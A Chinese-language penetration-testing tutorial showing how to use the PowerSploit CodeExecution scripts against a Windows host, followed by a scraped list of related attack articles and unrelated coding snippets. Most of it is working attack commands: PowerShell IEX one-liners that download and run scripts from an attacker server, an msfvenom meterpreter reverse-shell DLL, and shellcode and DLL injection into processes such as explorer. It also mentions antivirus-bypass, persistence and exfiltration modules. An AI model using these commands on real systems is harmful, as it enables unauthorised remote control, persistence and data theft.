PowerSploit-CodeExecution(代码执行)脚本渗透实战
首先介绍一下国外大牛制作的Powershell渗透工具PowerSploit,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察、权限提升、权限维持。
项目地址:https://github.com/PowerShellMafia/PowerSploit
该利器主要分为几个板块
一、代码执行(CodeExecution)
1. Invoke-DllInjection
2. Invoke-ReflectivePEInjection
3. Invoke-Shellcode
4. Invoke-WmiCommand
二、脚本修改(ScriptModification)
1. Out-EncodedCommand
2. Out-CompressedDll
3. Out-EncryptedScript
4. Remove-Comments
三、权限维持(Persistence)
1. New-UserPersistenceOption
2. New-ElevatedPersistenceOption
3. Add-Persistence
4. Install-SSP
5. Get-SecurityPackages
四、绕过杀毒软件(AntivirusBypass)
Find-AVSignature
五、信息收集(Exfiltration)
这个文件夹主要是收集目标主机上的信息。
六、信息侦察(Recon)
这个文件夹主要是以目标主机为跳板进行内网主机侦察。
总结下就是:
CodeExecution 在目标主机执行代码
ScriptModification 在目标主机上创建或修改脚本
Persistence 后门脚本(持久性控制)
AntivirusBypass 发现杀软查杀特征
Exfiltration 目标主机上的信息搜集工具
Mayhem 蓝屏等破坏性脚本
Recon 以目标主机为跳板进行内网信息侦查
安装方法
我们在Linux下首先clone这个git:
git clone https://github.com/PowerShellMafia/PowerSploit.git
然后将clone下的文件放入保证被攻击机能够访问的机器上面,这里我们采用本机,在本机搭建apache环境,将文件放入/var/www/html目录下即可。
开启apache服务:
service apache2 start
实战运用:
CodeExecution模块
a) 调用Invoke-Shellcode将shellcode注入到本地的Powershell。
1)利用msfvenom生成一个反弹木马,以供invoke-shellcode注入,同样生成的反弹马放入web中。
2) 调用目标机的powershell进行IEX远程下载invoke-shellcode脚本和生成的木马
首先下载脚本
PS C:\Documents and Settings\Administrator> IEX(New-Object Net.Webclient).DownloadString("http://192.168.190.141/PowerSp
loit/CodeExecution/Invoke-Shellcode.ps1")
下载生成好的木马
PS C:\Users\Administrator> IEX(New-Object Net.Webclient).DownloadString("http://192.168.190.141/code")
3)kali设置msf监听
4)在powershell中调用invoke-shellcode(可通过help命令来查询具体操作以及例子)。
PS C:\Users\Administrator> Invoke-Shellcode -Shellcode $buf -Force
b) 调用invoke-shellcode将shellcode注入到指定的进程中。
1)前面步骤和a的步骤一致,唯一不同的就是在最后的命令上,首先,查看我们需要注入的进程,建议可注入到系统的进程,因为一旦进程关闭,那么监听也将终断,因此系统进程一般不会被关闭,注意:不能注入到像360等驱动中,不然会被强制关闭。
比如我要注入explorer这个进程(Windows程序管理器或者文件资源管理器) ,首先要查看该进程的pid
ps -Name explorer
可以看到id为1228 注入该进程
Invoke-Shellcode -Shellcode $buf -ProcessID -Force
注意:和a类似的,若关闭注入的进程,则连接中断。
c) 调用invoke-dllinjection将DLL注入到进程中。
1)通过msfvenom生成DLL的反弹木马,并下载到目标主机中(为了方便,直接将dll文件下载至powershell运行的桌面),在实际环境中,也可以通过该方法进行传输dll文件。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.190.141 lport= -f dll -o /var/www/html/code.dll
开启监听 注意payload需要和生成的dll执行的payload一致;
PS C:\Users\Administrator> IEX(New-Object Net.Webclient).DownloadString("http://192.168.190.141/PowerSploit/CodeExecutio
n/Invoke-DllInjection.ps1")
注入
PS C:\Users\Administrator> Invoke-DllInjection -Dll .\code.dll -ProcessID
PowerSploit-CodeExecution(代码执行)脚本渗透实战的更多相关文章
- POWERSPLOIT-Exfiltration(信息收集)脚本渗透实战
Exfiltration模块 a) 调用Get-Keystrokes记录用户的键盘输入. 1)通过IEX下载并调用Get-Keystrokes. PS C:\Users\Administrator&g ...
- POWERSPLOIT-Recon(信息侦察)脚本渗透实战
Recon(信息侦察)模块 a) 调用invoke-Portscan扫描内网主机的端口. 1)通过IEX下载并调用invoke-portscan. PS C:\Users\Administrator& ...
- ECShop全系列版本远程代码执行高危漏洞分析+实战提权
漏洞概述 ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行.攻击者无需登录站点等操作,可以直接远程写入webshell,危害严重. 漏洞评级 ...
- PHP 命令行模式实战之cli+mysql 模拟队列批量发送邮件(在Linux环境下PHP 异步执行脚本发送事件通知消息实际案例)
源码地址:https://github.com/Tinywan/PHP_Experience 测试环境配置: 环境:Windows 7系统 .PHP7.0.Apache服务器 PHP框架:ThinkP ...
- WordPress wp-includes/functions.php脚本远程任意代码执行漏洞
漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...
- 浏览器环境下JavaScript脚本加载与执行探析之代码执行顺序
本文主要基于向HTML页面引入JavaScript的几种方式,分析HTML中JavaScript脚本的执行顺序问题 1. 关于JavaScript脚本执行的阻塞性 JavaScript在浏览器中被解析 ...
- Linux centosVMware 自动化运维Ansible介绍、Ansible安装、远程执行命令、拷贝文件或者目录、远程执行脚本、管理任务计划、安装rpm包/管理服务、 playbook的使用、 playbook中的循环、 playbook中的条件判断、 playbook中的handlers、playbook实战-nginx安装、管理配置文件
一.Ansible介绍 不需要安装客户端,通过sshd去通信 基于模块工作,模块可以由任何语言开发 不仅支持命令行使用模块,也支持编写yaml格式的playbook,易于编写和阅读 安装十分简单,ce ...
- Ruby入门--Linux/Windows下的安装、代码开发及Rails实战
Ruby入门--Linux/Windows下的安装.代码开发及Rails实战 http://www.linuxidc.com/Linux/2014-04/100242.htm Ubuntu 13.04 ...
- DC-8靶机渗透实战
前言: 本文将讲述通过信息收集,再web站点的sql注入漏洞加john爆破登录后台,然后找到远程代码执行漏洞getshell,最后用exim4命令提权漏洞进行权限提升拿到最终的flag. 0x00 环 ...
随机推荐
- FreeSql (二十三)分组、聚合
IFreeSql fsql = new FreeSql.FreeSqlBuilder() .UseConnectionString(FreeSql.DataType.MySql, "Data ...
- Vue2.x-社交网络程序项目的总结
最近几天一直在学习Vue的课程,通过这个项目进行进一步的学习Vue方面的知识.掌握如何使用Vue搭建前端,如何请求Node.js写好的后端接口. 一.实现前后端连载 首先在后端的文件中 vue i ...
- opencv边缘检测报错
cnts = cv2.findContours(edged_image.copy(), cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)cnts = cnts[0] if ...
- linux无法用root账号ssh登录(putty)
解决方法: 在kali打开终端,修改ssh配置文件. vi /etc/ssh/sshd_config 将PermitRootLogin, 改成PermitRootLogin yes.(允许用root登 ...
- 解析 HTTP 请求 header 错误
1.org.apache.coyote.http11.Http11Processor.service 解析 HTTP 请求 header 错误 2.原因:在创建项目名称的时候,文件名不能带有中文,只能 ...
- 环境搭建-Hadoop集群搭建
环境搭建-Hadoop集群搭建 写在前面,前面我们快速搭建好了centos的集群环境,接下来,我们就来开始hadoop的集群的搭建工作 实验环境 Hadoop版本:CDH 5.7.0 这里,我想说一下 ...
- java-ztest测试报告的搭建,python-BeautifulReport
今天用testng的时候感觉测试报告贼丑又慢,以下图片是对比.了解到ztest,搭建的时候发现网上没有教程,对java真是太不友好了,所以步骤记录下吧.有疑问的可进群:231733032 使用ztes ...
- MySQL delete和truncate
1.delete 属于DML语言,每次删除一行,都在事务日志中为所删除的每行记录一项.产生rollback,事务提交之后才生效;如果有相应的 trigger,执行的时候将被触发,如果删除大数据量的表速 ...
- Flask基础(04)-->相关配置参数
# 导入Flask from flask import Flask from flask import config # 创建Flask的应用程序 app = Flask(__name__) #=== ...
- HTML5 原生拖放
前言: HTML5提供专门的拖拽与拖放的API,可以方便的指定某个元素可拖动,可以创建自定义的可拖动元素和放置目标 相关知识点: 1.拖放事件 拖放元素时,将依次触发下列事件 dragstart 按 ...